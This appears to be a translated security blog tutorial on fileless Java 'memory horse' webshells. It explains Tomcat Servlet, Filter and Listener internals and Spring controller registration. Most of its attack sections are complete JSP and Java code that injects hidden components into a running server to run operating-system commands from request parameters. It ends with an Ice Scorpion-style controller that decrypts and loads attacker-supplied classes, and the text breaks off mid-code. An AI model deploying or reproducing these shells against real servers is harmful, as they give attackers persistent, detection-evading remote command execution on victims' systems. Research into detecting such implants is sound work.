preface
With the increasingly fierce game between attack and defense, professional security devices such as traffic analysis and EDR are widely used by defenders. The traditional webshll uploaded by files or the back door resident in the form of files are more and more easy to be detected. webshell has finally entered the era of memory horse. The key lies in no files and using the process of middleware to execute malicious code. This paper attempts to make a study and try to understand its context as much as possible
1, Basic knowledge
1. Three major pieces of Java web
For details, please refer to: Three java web requesters -- listener, filter and servlet
The startup order is listener - > filter - > servlet, but the execution order is related to its characteristics. Let's briefly talk about three major items
(1)Servlet
Servlet is a program running on the Web server or application server. As an intermediate layer between the request from the HTTP client and the database or application on the HTTP server, servlet is responsible for processing the user's request, generating the corresponding return information according to the request and providing it to the user.
Process of request:
- The client initiates an HTTP request, such as a GET type
- The Servlet container receives the request and encapsulates it into HttpServletRequest and HttpServletResponse objects according to the request information
- The Servlet container calls the init() method of HttpServlet. The init() method is called only when the first request is made
- The Servlet container calls the service() method. The service() method calls the doGet or doPost methods respectively according to the request type, here is the GET type. The doGet method is called here. The doXXX method is our own business logic
- After the business logic processing is completed, it is returned to the Servlet container, and then the container returns the results to the client
- When the container is closed, the destroy method is called
Life cycle:
- When the server starts (load on startup = 1 is configured in web.xml, which is 0 by default) or when the servlet is requested for the first time, a servlet object will be initialized, that is, the initialization method init(ServletConfig conf) will be executed
- The servlet object handles all client requests and executes them in the service(ServletRequest req, ServletResponse res) method
- When the server shuts down, destroy the servlet object and execute the destroy() method
- Garbage collection by JVM
(2)Filter
Filter is a strong supplement to Servlet Technology. Its main functions are
- Before the HttpServletRequest arrives at the Servlet, intercept the customer's HttpServletRequest, check the HttpServletRequest as needed, or modify the HttpServletRequest header and data
- Before the HttpServletResponse arrives at the client, intercept the HttpServletResponse, check the HttpServletResponse as needed, or modify the HttpServletResponse header and data
Basic working principle
- Filter program is a Java class that implements a special interface. Similar to Servlet, it is also called and executed by Servlet container
- When a Filter is registered in web.xml to intercept a Servlet program, it can decide whether to continue to pass the request to the Servlet program and whether to modify the request and response messages
- When the Servlet container starts calling a Servlet program, if it is found that a Filter program has been registered to intercept the Servlet, the container will no longer directly call the service method of the Servlet, but call the doFilter method of the Filter, and then the doFilter method determines whether to deactivate the service method
- However, the service method of the Servlet cannot be called directly in the Filter.doFilter method. Instead, the FilterChain.doFilter method is called to activate the service method of the target Servlet. The FilterChain object is passed in through the parameters of the Filter.doFilter method
- As long as we add some program code before and after calling the FilterChain.doFilter method statement in the Filter.doFilter method, we can achieve some special functions before and after the Servlet response.
- If the FilterChain.doFilter method is not called in the Filter.doFilter method, the service method of the target Servlet will not be executed, so some illegal access requests can be blocked through the Filter
Life cycle:
- Like servlets, the creation and destruction of filters are also the responsibility of the web container. When the web application starts, the web server will create an instance object of Filter, call its init method, read the web.xml configuration, and complete the initialization function of the object, so as to prepare for interception of subsequent user requests (the Filter object will be created only once, and the init method will be executed only once)
- Developers can obtain the FilterConfig object representing the current filter configuration information through the parameters of the init method
- After the Filter object is created, it will reside in memory and will not be destroyed until the web application is removed or the server is stopped. Called before the web container unloads the Filter object. This method is executed only once in the life cycle of the Filter. In this method, the resources used by the Filter can be released.
filter chain
- When multiple filters exist at the same time, a filter chain is formed. The web server determines which filter to call first according to the registration order of the filter in the web.xml file
- When the doFilter method of the first filter is called, the web server will create a FilterChain object representing the filter chain and pass it to the method. By judging whether there is a filter in the FilterChain, decide whether to call the filter later
(3)Listener
Listener s in Java Web development are functional components that automatically execute code when creating, destroying or adding, modifying or deleting properties to three objects: Application, Session and Request:
- ServletContextListener: monitors the creation and destruction of Servlet context
- ServletContextAttributeListener: monitors the addition, deletion and replacement of Servlet context attributes
- HttpSessionListener: monitors the creation and destruction of a session. There are two situations for destroying a session: one is that the session times out, and the other is that the session is invalidated by calling the invalidate() method of the session object
- HttpSessionAttributeListener: monitors the addition, deletion and replacement of attributes in the Session object
- ServletRequestListener: listen for initialization and destruction of request objects
- ServletRequestAttributeListener: listens for adding, deleting, and replacing attributes of the request object
purpose
- Listeners can be used to listen to client requests and server operations
- Some actions can be taken automatically, such as monitoring the number of online users, statistics of website visits, website access monitoring, etc
life cycle
- The life cycle of listener starts from the web container to the destruction of the web container
2,Tomcat
For details, please refer to: Tomcat architecture principle analysis to architecture design reference (this article is really detailed)
Simply understand that Tomcat is an HTTP server + Servlet container, which shields us from application layer protocols and network communication details, and gives us standard Request and Response objects; The specific business logic is used as the change point and handed over to us for implementation
Tomcat startup process: startup.sh - > catalina.sh start - > java - jar org. Apache. Catalina. Startup. Bootstrap. Main ()
Tomcat implements two core functions:
- Handle Socket connection, and be responsible for the conversion of network byte stream and Request and Response objects
- Load and manage servlets and handle specific Request requests
Tomcat, as a Servlet container, can send the user's request to the Servlet and return the Servlet response to the user. There are four types of Servlet containers in tomcat, including Engine, Host, Context and Wrapper from top to bottom:
- Engine. The implementation class is org.apache.catalina.core.StandardEngine
- Host. The implementation class is org.apache.catalina.core.StandardHost
- Context. The implementation class is org.apache.catalina.core.StandardContext
- Wrapper. The implementation class is org.apache.catalina.core.StandardWrapper
3. Other
(1) Java reflection
Java reflection is extremely powerful. Many functions are reflected at the bottom. Its main steps include:
- Gets the Class object of the target type
- Obtain Constructor Class object, Method Class object & field Class object through Class object
- The Constructor class object, Method class object & field class object are used to obtain the specific information of the Constructor, Method & attribute of the class respectively, and carry out subsequent operations
(2)Java Instrumentation
Instrumentation is an interface from the JVM provided by Java. This interface provides a series of methods for viewing and operating Java class definitions, such as modifying the bytecode of the class, adding jar files to the classpath of the classLoader, etc., so that developers can operate and monitor some internal states of the JVM through the Java language, so as to realize the monitoring and analysis of Java programs, Even implement some special functions (such as AOP, hot deployment)
Java agent is a special Java program (Jar file), which is the client of Instrumentation. Different from ordinary Java programs started through the main method, agent is not a program that can be started separately, but must be attached to a Java application (JVM), run in the same process with it, and interact with the virtual machine through the Instrumentation API
In the process of memory injection, we can use java Instrumentation mechanism to dynamically modify the methods of classes loaded into memory, and then inject malicious code
2, Memory horse overview
1. Brief history
(1) The changing process of Web shell
Roughly as follows:
web server management page - > Malaysia - > little horse pulling Malaysia - > one sentence Trojan horse - > encrypt one sentence Trojan horse - > encrypt memory horse
Here we summarize the previous webshell with the diagram of master lex1993:
(2) The changing process of memory horse
Memory horse as early as 17 years ago n1nty master Tomcat source code debugging notes - invisible Shell It has begun to take shape, but it has not been warm
After 18 years of master rebeyong's use of agent technology, he expanded the use scenario of memory horse—— Using "process injection" to realize web shell without file and no death , however, it finally stays on the strange skills
After all kinds of HW baptism, it is obvious that the gas of the file shell has run out. Memory horse returns to public view as a life-saving straw. In 20 years, master LandGrey constructed the Spring controller memory horse—— Research on file free attack technology based on memory Webshell It can be regarded as an upsurge
So far, the horse has developed three types:
- Servlet API classes: filter type, servlet type and listener type
- spring class: interceptor type, controller type
- Java Instrumentation class: agent type
Of course, there is also the memory of frameworks and containers such as tomcat and weblogic
2. Introduction to memory horse
- Target: visit any url or specify a url, and bring the command execution parameters to let the server return the command execution results
- Implementation: Taking java as an example, the web request initiated by the client will pass through three components: Listener, Filter and Servlet in turn. We can achieve our goal as long as we do something in the process of the request, modify the existing component in memory, or dynamically register a new component and insert a malicious shellcode.
3, Principle and implementation of memory horse
First put a warehouse for various demo s: https://github.com/jweny/MemShellDemo
1. Servlet type
(1) Registration process
Directly view the changes of StandardContext after adding a servlet
<servlet> <servlet-name>servletDemo</servlet-name> <servlet-class>com.yzddmr6.servletDemo</servlet-class> </servlet> <servlet-mapping> <servlet-name>servletDemo</servlet-name> <url-pattern>/demo</url-pattern> </servlet-mapping>
Our servlet has been added to children, which corresponds to encapsulation using the class StandardWrapper
A child corresponds to a StandardWrapper object that encapsulates a servlet, with the servlet name and the corresponding class. The StandardWrapper corresponds to the following nodes in the configuration file:
<servlet> <servlet-name>servletDemo</servlet-name> <servlet-class>com.yzddmr6.servletDemo</servlet-class> </servlet>
The servlet has corresponding servletMappings, which records the relationship between urlParttern and the corresponding servlet
servletMappings corresponds to the following nodes in the configuration file:
<servlet-mapping> <servlet-name>servletDemo</servlet-name> <url-pattern>/demo</url-pattern> </servlet-mapping>
(2) Memory horse
Process:
- Create a malicious servlet
- Get the current StandardContext
- Encapsulate the malicious servlet as a wrapper and add it to the children of the StandardContext
- Add ServletMapping to bind the accessed URL with the wrapper
Execute the following code, access the / shell path of the current application, and add the cmd parameter to execute the command
<%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.io.PrintWriter" %> <% // Create a malicious Servlet Servlet servlet = new Servlet() { @Override public void init(ServletConfig servletConfig) throws ServletException { } @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd = servletRequest.getParameter("cmd"); boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } @Override public String getServletInfo() { return null; } @Override public void destroy() { } }; %> <% // Get StandardContext org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext(); // Wrap it with a Wrapper org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper(); newWrapper.setName("jweny"); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet); newWrapper.setServletClass(servlet.getClass().getName()); // Add the encapsulated malicious Wrapper to the children of StandardContext standardCtx.addChild(newWrapper); // Add ServletMapping to bind the accessed URL to the Servlet standardCtx.addServletMapping("/shell","jweny"); %>
(3) Another implementation
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import = "org.apache.catalina.core.ApplicationContext"%> <%@ page import = "org.apache.catalina.core.StandardContext"%> <%@ page import = "javax.servlet.*"%> <%@ page import = "javax.servlet.annotation.WebServlet"%> <%@ page import = "javax.servlet.http.HttpServlet"%> <%@ page import = "javax.servlet.http.HttpServletRequest"%> <%@ page import = "javax.servlet.http.HttpServletResponse"%> <%@ page import = "java.io.IOException"%> <%@ page import = "java.lang.reflect.Field"%> <!-- 1 request this file --> <!-- 2 request thisfile/../evilpage?cmd=calc --> <% class EvilServlet implements Servlet{ @Override public void init(ServletConfig config) throws ServletException {} @Override public String getServletInfo() {return null;} @Override public void destroy() {} public ServletConfig getServletConfig() {return null;} @Override public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { HttpServletRequest request1 = (HttpServletRequest) req; HttpServletResponse response1 = (HttpServletResponse) res; if (request1.getParameter("cmd") != null){ Runtime.getRuntime().exec(request1.getParameter("cmd")); } else{ response1.sendError(HttpServletResponse.SC_NOT_FOUND); } } } %> <% ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); EvilServlet evilServlet = new EvilServlet(); org.apache.catalina.Wrapper evilWrapper = standardContext.createWrapper(); evilWrapper.setName("evilPage"); evilWrapper.setLoadOnStartup(1); evilWrapper.setServlet(evilServlet); evilWrapper.setServletClass(evilServlet.getClass().getName()); standardContext.addChild(evilWrapper); standardContext.addServletMapping("/evilpage", "evilPage"); out.println("Dynamic injection servlet success"); %>
2. Filter type
(1) Registration process
You can see that the request will not arrive at the Servlet until it passes through the filter. If we dynamically create a filter and put it in the front, our filter will execute first
Customize a filter
package com.yzddmr6; import javax.servlet.*; import java.io.IOException; public class filterDemo implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("Filter Initialize creation...."); } @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { System.out.println("Filter operation......"); // Release chain.doFilter(request, response); } @Override public void destroy() { } }
Then register our filter in web.xml. Here, we set the URL pattern to / demo, that is, accessing / demo will trigger
<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <filter> <filter-name>filterDemo</filter-name> <filter-class>filter.filterDemo</filter-class> </filter> <filter-mapping> <filter-name>filterDemo</filter-name> <url-pattern>/demo</url-pattern> </filter-mapping> </web-app>
visit http://localhost:8080/demo , discovery triggered successfully
The whole process can be summarized with a wide byte security diagram:
- Find the Filter name corresponding to the URL from FilterMaps according to the requested URL
- According to the Filter name, go to FilterConfig to find the FilterConfig with the corresponding name
- Find the corresponding FilterConfig, add it to FilterChain, and return FilterChain
- FilterChain calls internalDoFilter traversal to get the FilterConfig in chain, then gets Filter from FilterConfig, then calls doFilter method of Filter.
Some of these classes are as follows:
-
FilterDefs: an array storing FilterDef. FilterDef stores our filter name, filter instance, action url and other basic information
-
Filterconfigures: an array that stores FilterConfig. FilterConfig mainly stores information such as FilterDef and Filter objects
-
FilterMaps: an array for storing FilterMap. FilterName and corresponding URLPattern are mainly stored in FilterMap. It corresponds to < filter mapping > configured in web.xml, which represents the call sequence between filters
-
FilterChain: Filter chain. The doFilter method on the object can call the Filter on the chain in turn
-
WebXml: a class that holds the content in web.xml
-
ContextConfig: context configuration class of Web application
-
StandardContext: the standard implementation class of the Context interface. A Context represents a Web application, which can contain multiple wrappers
-
StandardWrapperValve: a Wrapper's standard implementation class. A Wrapper represents a Servlet
(2) Memory horse
Process:
- Create a malicious filter
- Encapsulate the filter with filterDef
- Add filterDef to filterDefs and filterconfigures
- Create a new filterMap, bind the URL to the filter, and add it to the filterMaps. It should be noted that since the filter will take effect in a sequence, generally speaking, we need to move our filter to the first place of FilterChain
Each request for createFilterChain will dynamically generate a filter chain based on this, and the StandardContext will remain until the end of Tomcat's life cycle, so our memory horse can stay until Tomcat is restarted
Access the following jsp. After the injection is successful, use? cmd = command can be executed (this method only supports Tomcat 7.x or above, because javax.servlet.DispatcherType class is introduced after Servlet 3, while Tomcat 7 or above supports Servlet 3):
<%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <% final String name = "KpLi0rn"; ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ byte[] bytes = new byte[1024]; Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start(); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String(bytes,0,len)); process.destroy(); return; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } }; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); /** * Add filterDef to filterDefs */ standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig); out.print("Inject Success !"); } %>
(3) Another implementation
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import = "org.apache.catalina.Context" %> <%@ page import = "org.apache.catalina.core.ApplicationContext" %> <%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import = "org.apache.catalina.core.StandardContext" %> <!-- tomcat 8/9 --> <!-- page import = "org.apache.tomcat.util.descriptor.web.FilterMap" page import = "org.apache.tomcat.util.descriptor.web.FilterDef" --> <!-- tomcat 7 --> <%@ page import = "org.apache.catalina.deploy.FilterMap" %> <%@ page import = "org.apache.catalina.deploy.FilterDef" %> <%@ page import = "javax.servlet.*" %> <%@ page import = "javax.servlet.annotation.WebServlet" %> <%@ page import = "javax.servlet.http.HttpServlet" %> <%@ page import = "javax.servlet.http.HttpServletRequest" %> <%@ page import = "javax.servlet.http.HttpServletResponse" %> <%@ page import = "java.io.IOException" %> <%@ page import = "java.lang.reflect.Constructor" %> <%@ page import = "java.lang.reflect.Field" %> <%@ page import = "java.lang.reflect.InvocationTargetException" %> <%@ page import = "java.util.Map" %> <!-- 1 revise the import class with correct tomcat version --> <!-- 2 request this jsp file --> <!-- 3 request xxxx/this file/../abcd?cmdc=calc --> <% class DefaultFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { } public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; HttpServletResponse response = (HttpServletResponse) servletResponse; if (req.getParameter("cmdc") != null) { Runtime.getRuntime().exec(req.getParameter("cmdc")); response.getWriter().println("exec done"); } filterChain.doFilter(servletRequest, servletResponse); } public void destroy() {} } %> <% String name = "DefaultFilter"; ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null){ DefaultFilter filter = new DefaultFilter(); FilterDef filterDef = new FilterDef(); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); // filterMap.addURLPattern("/*"); filterMap.addURLPattern("/abcd"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(name, filterConfig); out.write("Inject success!"); } else{ out.write("Injected"); } %>
3. Listener type
Listener listening is mainly divided into three categories:
- ServletContext listening: used to listen (create and destroy) the entire context of a Servlet
- Session monitoring: monitoring the overall status of a session
- Request listening: used to listen to (create and destroy) requests
For these three categories, students familiar with java and Tomcat should know that requests and tampering with requests are common utilization methods. The other two involve server startup and shutdown, or Session establishment and destruction, which are not suitable
(1) Memory horse
Process:
- Create a malicious Listener
- Add it to the ApplicationEventListener
Upload and access the following jsp file
<%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <% Object obj = request.getServletContext(); java.lang.reflect.Field field = obj.getClass().getDeclaredField("context"); field.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) field.get(obj); //Get ApplicationContext field = applicationContext.getClass().getDeclaredField("context"); field.setAccessible(true); StandardContext standardContext = (StandardContext) field.get(applicationContext); //Get StandardContext ListenerDemo listenerdemo = new ListenerDemo(); //Create a Listener that can execute commands standardContext.addApplicationEventListener(listenerdemo); %> <%! public class ListenerDemo implements ServletRequestListener { public void requestDestroyed(ServletRequestEvent sre) { System.out.println("requestDestroyed"); } public void requestInitialized(ServletRequestEvent sre) { System.out.println("requestInitialized"); try{ String cmd = sre.getServletRequest().getParameter("cmd"); Runtime.getRuntime().exec(cmd); }catch (Exception e ){ //e.printStackTrace(); } } } %>
Next, access any path and pass in the cmd parameter to execute the command
(2) Another implementation
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="javax.servlet.*" %> <%@ page import="javax.servlet.annotation.WebServlet" %> <%@ page import="javax.servlet.http.HttpServlet" %> <%@ page import="javax.servlet.http.HttpServletRequest" %> <%@ page import="javax.servlet.http.HttpServletResponse" %> <%@ page import="java.io.IOException" %> <%@ page import="java.lang.reflect.Field" %> <!-- 1,exec this--> <!-- 2,request any url with a parameter of "shell" --> <% class S implements ServletRequestListener{ @Override public void requestDestroyed(ServletRequestEvent servletRequestEvent) { } @Override public void requestInitialized(ServletRequestEvent servletRequestEvent) { if(request.getParameter("shell") != null){ try { Runtime.getRuntime().exec(request.getParameter("shell")); } catch (IOException e) {} } } } %> <% ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); out.println("inject success"); S servletRequestListener = new S(); standardContext.addApplicationEventListener(servletRequestListener); %> <!-- 1,exec this--> <!-- 2,request any url with a parameter of "shell" -->
4. Spring controller type
Refer to these two articles:
- Research on file free attack technology based on memory Webshell
- controller memory horse for spring mvc - learning and experiment (inject the horse available for kitchen knife and ice scorpion)
Compared with the previous three, this is a real no file
Process:
- Without using annotations and modifying the configuration file, use pure java code to obtain the context of the current code runtime
- Manually register a controller in the context using pure java code without annotations and modifying the configuration file
- The Webshell logic is written into the controller to achieve the effect of interactive echo with the URL of the Webshell
(1) Get context
The four methods are as follows:
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext(); WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext()); WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()); WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
(2) Register controller
The core steps are as follows (note the spring version here. For details, see the above two articles):
public class InjectToController{ public InjectToController(){ // 1. Use spring's internal method to obtain the context WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 2. Obtain the instance of RequestMappingHandlerMapping from the context RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); // 3. Obtain the Method object in the custom controller through reflection Method method2 = InjectToController.class.getMethod("test"); // 4. Define the URL address to access the controller PatternsRequestCondition url = new PatternsRequestCondition("/malicious"); // 5. Define HTTP methods (GET/POST) that allow access to the controller RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); // 6. Dynamically register the controller in memory RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); InjectToController injectToController = new InjectToController("aaa"); mappingHandlerMapping.registerMapping(info, injectToController, method2); } public void test() { xxx } }
(3)webshell
Used to execute command echo Webshell Code example: package me.landgrey; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.PrintWriter; @Controller public class SSOLogin { @RequestMapping(value = "/favicon") public void login(HttpServletRequest request, HttpServletResponse response){ try { String arg0 = request.getParameter("code"); PrintWriter writer = response.getWriter(); if (arg0 != null) { String o = ""; java.lang.ProcessBuilder p; if(System.getProperty("os.name").toLowerCase().contains("win")){ p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0}); }else{ p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0}); } java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A"); o = c.hasNext() ? c.next(): o; c.close(); writer.write(o); writer.flush(); writer.close(); }else{ response.sendError(404); } }catch (Exception e){ } } }
(4) Combined ice scorpion
import org.apache.catalina.connector.CoyoteReader; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import javax.servlet.ServletOutputStream; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.*; import java.io.*; import java.net.*; import java.sql.*; import java.text.*; import javax.crypto.*; import javax.crypto.spec.*; import javax.servlet.http.HttpSession; import javax.servlet.jsp.PageContext; //import org.apache.jasper.runtime.PageContextImpl; import org.apache.taglibs.standard.lang.jstl.test.PageContextImpl; import org.apache.jasper.servlet.JasperLoader; public class InjectToController extends ClassLoader { private final String injectUrlPath = "/malicious"; private final String k="e45e329feb5d925b"; /* The key is the first 16 bits of the 32-bit md5 value of the connection password, and the default connection password is rebeyond */ public Class g(byte []b){ return super.defineClass(b, 0, b.length); } public InjectToController(ClassLoader c){super(c);} public InjectToController(String aaa) {} public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 1. Obtain the instance bean of RequestMappingHandlerMapping from the current context RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class); Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry"); method.setAccessible(true); Object mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping); // java.lang.ClassLoader // Method method1 = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredMethod("getMappings"); // method1.setAccessible(true); // Map mappingLookup = (Map) method1.invoke(mappingRegistry); Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup"); field.setAccessible(true); Map urlLookup = (Map) field.get(mappingRegistry); Iterator urlIterator = urlLookup.keySet().iterator(); while (urlIterator.hasNext()){ String urlPath = (String) urlIterator.next(); if (this.injectUrlPath.equals(urlPath)){ System.out.println("URL Already exists"); return; } } // 2. Obtain the unique Method object in the custom controller through reflection Method method2 = InjectToController.class.getMethod("test"); // 3. Define the URL address to access the controller PatternsRequestCondition url = new PatternsRequestCondition(this.injectUrlPath); // 4. Define HTTP methods (GET/POST) that allow access to the controller RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); // 5. Dynamically register the controller in memory RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); InjectToController injectToController = new InjectToController("aaa"); mappingHandlerMapping.registerMapping(info, injectToController, method2); } // The code that the controller executes when processing the request public Object test() throws Exception { HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); HttpSession session = request.getSession(); // WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // session.putValue("u",this.k); // The objects in shell.jsp are as follows // this.getClass().getClassLoader() -> org.apache.jasper.servlet.JasperLoader // pageContext -> org.apache.jasper.runtime.PageContextImpl // Ice scorpion logic if (request.getMethod().equals("POST")) { session.setAttribute("u", this.k); Cipher c = Cipher.getInstance("AES"); c.init(2,new SecretKeySpec(this.k.getBytes(),"AES")); InjectToController injectToController = new InjectToController(ClassLoader.getSystemClassLoader()); String base64String = request.getReader().readLine(); byte[] bytesEncrypted = new sun.misc.BASE64Decoder().decodeBuffer(base64String); // base64 decoding byte[] bytesDecrypted = c.doFinal(bytesEncrypted); // AES decryption Class newClass = injectToController.g(bytesDecrypted); // Call the g function and further call the parent class defineClass function to obtain the class object Map<String, Object> pageContext = new 